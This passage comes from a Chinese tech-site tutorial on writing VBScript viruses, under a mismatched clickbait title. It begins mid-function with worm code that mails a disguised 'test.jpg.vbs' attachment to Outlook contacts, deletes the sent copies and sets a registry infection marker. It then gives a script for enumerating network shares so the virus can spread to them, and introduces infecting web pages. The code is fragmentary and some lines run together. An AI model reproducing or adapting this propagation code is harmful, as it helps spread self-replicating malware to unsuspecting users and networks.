病毒_最神秘的六种病毒_病毒电影(3)

" //写入文件内容

Set attachMents=item.Attachments //定义邮件附件

attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"

item.DeleteAfterSubmit = True

//信件提交后自动删除

If item.To <> "" Then

item.Send

//发送邮件

shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"

//病毒标记，以免重复感染

End If

NextEnd IfNext

End if

End Function

2）通过局域网共享传播

局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说，为了局域网内交流方便，一定存在不少共享目录，并且具有可写权限，譬如win2000创建共享时，默认就是具有可写权限。病毒这样病毒通过搜索这些共享目录，就可以将病毒代码传播到这些目录之中。

在VBS中，有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。

welcome_msg = "网络连接搜索测试"

Set wshnetwork = WScript.CreateObject("WScript.Network")

’创建一个网络对象

Set oPrinters = WshNetwork.EnumPrinterConnections

’创建一个网络打印机连接列表

WScript.Echo "Network printer mappings:"

For i = 0 to oPrinters.Count - 1Step2

’显示网络打印机连接情况

WScript.Echo "Port "&oPrinters.Item(i)

& " = " & oPrinters.Item(i+1)

Next

Set colDrives = WSHNetwork.EnumNetworkDrives

’创建一个网络共享连接列表

If colDrives.Count = 0 Then

MsgBox "没有可列出的驱动器。",

vbInformation + vbOkOnly,welcome_msg

Else

strMsg = "当前网络驱动器连接: " &CRLF

Fori=0To colDrives.Count - 1 Step 2

strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)

& Chr(9)&colDrives(i+1)

Next

MsgBox strMsg, vbInformation + vbOkOnly,

welcome_msg’显示当前网络驱动器连接

End If

上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后，我们就可以直接向目标驱动器读写文件了。

3）通过感染htm、asp、jsp、php等网页文件传播

如今，WWW服务已经变得非常普遍，病毒通过感染htm等文件，势必会导致所有访问过该网页的用户机器感染病毒。

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/ruanjian/article-23161-3.html